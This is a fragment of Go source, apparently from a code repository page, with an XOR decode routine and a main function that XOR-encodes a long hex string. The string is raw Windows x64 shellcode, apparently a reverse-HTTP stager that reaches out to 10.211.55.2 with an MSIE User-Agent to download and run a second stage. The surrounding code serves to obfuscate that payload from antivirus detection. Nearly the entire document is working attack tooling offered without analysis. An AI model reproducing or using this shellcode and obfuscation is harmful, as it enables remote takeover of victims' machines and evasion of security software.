| 27 | } |
| 28 | |
| 29 | func (a *Xor) dec(src string) string { |
| 30 | var result string |
| 31 | var s int64 |
| 32 | j := 0 |
| 33 | bt := []rune(src) |
| 34 | for i := 0; i < len(src)/2; i++ { |
| 35 | s, _ = strconv.ParseInt(string(bt[i*2:i*2+2]), 16, 0) |
| 36 | result = result + string(byte(s)^XorKey[j]) |
| 37 | j = (j + 1) % 10 |
| 38 | } |
| 39 | return result |
| 40 | } |
| 41 | func main() { |
| 42 | xor := Xor{} |
| 43 | fmt.Println(xor.enc("fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8210300004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f5858585858580035526d5f7da41d5ea1ed94c2ddb798e5b47f9c1149ed8e1fac66a21ef12dca7c4c5ae13b245d56a008dfdaf731207056ab86a1956e018d311a3ad68760103bd2ba56a3f27a92da00557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420372e313b2054726964656e742f352e30290d0a00cc498b221c1481daca09bd9722945f60a125b89aa635fdfd7b3145b45a55c8644b07eb2ac15eb137673c10b003166322e818904ad1775930521ad2e92401b0124a0eb555a7f0b0b1660c4be3df227ed153ce9855ebb5c879e59f89fe788fb973d144fc629c3f46f20a101589951926711a18abb1488734b0d6be8553285eeea02789d006ce90a0b9d32abe1a91183635ea4f606cf20b7c4620c413af331a4726212100365ca1c1acab62cc6fbe29ce29af65c54e9610766f46579c2abd7985c823fd28ae5f71e8e8f5379fd4d519f2318878924b969300b2291d57eb095aed497d0041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff31302e3231312e35352e320005f5e100")) |